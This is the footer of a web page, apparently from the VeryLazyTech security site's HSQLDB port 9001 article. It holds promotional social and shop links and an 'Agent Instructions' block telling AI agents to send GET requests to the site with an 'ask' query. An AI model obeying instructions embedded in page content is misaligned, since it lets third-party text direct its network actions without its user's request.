<summary>Support VeryLazyTech 🎉</summary>

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚

</details>
{% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.verylazytech.com/hsqldb-port-9001.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
